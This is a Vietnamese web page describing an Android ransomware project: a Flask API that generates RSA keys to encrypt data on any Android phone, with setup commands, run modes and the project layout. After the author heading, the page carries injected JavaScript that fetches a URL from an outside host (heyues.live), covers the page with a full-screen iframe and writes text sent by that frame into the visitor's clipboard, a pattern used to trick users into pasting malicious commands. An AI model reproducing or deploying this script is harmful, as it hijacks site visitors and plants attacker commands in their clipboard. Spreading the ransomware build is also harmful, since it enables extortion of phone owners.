Dự án sử dụng key RSA để mã hóa dữ liệu trên một chiếc điện thoại Android bất kì. API được sử dụng trong 1 ứng dụng Android
API Python
Yêu cầu
- Hệ thống cần cài đặt trước Python 3.x
- Sau đó bạn clone project từ github về: https://github.com/CrabeMan/Android-RansomWare
- Tiến hành cài đặt các thành phần cần thiết bằng lệnh: pip install -r requirements.txt
Khởi chạy ứng dụng
Bạn có thể khởi chạy ứng dụng ở 4 chế độ khác nhau
- Production
- Development
- Testing
- Default (mặc định)
Để chạy ứng dụng tiến hành gõ lệnh: python runserver.py
Để chạy ứng dụng ở 1 chế độ bất kì, gõ lệnh: MODE=tên mode python runserver.py
Danh sách các tên mode
- production
- testing
- production
- default
VD: MODE=development python runserver.py
Cấu trúc của Project
├── LICENSE.md
├── ransomware # The flask application
│ ├── __init__.py
│ ├── config # th folder contains the different config for each env
│ │ ├── __init__.py
│ │ └── config.py
│ ├── models.py # The schema of the database
│ └── utils.py # Some function use in the application
├── readme.md
├── requirements.txt
└── runserver.py # Script for run the flask application
Xây dựng nên bởi
- Flaks – API Framework được sử dụng
- Pony – The orm use
- Pycryptodome – Sử dụng để tạo mã RSA
- Sqlite – Sử dụng cho cơ sở dữ liệu
Tài liệu về API có thể xem tại đây:
Ứng dụng Android
- Butter Knife – Ứng dụng ẩn dấu các callbacks tới các trường và phương thức trong Android
- google-gson – Thư viện Java để chuyển đổi đối tượng Java sang JSON và ngược lại
- Retrofit – Một HTTP Client an toàn cho Android và Java
Tác giả
(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();
Views: 658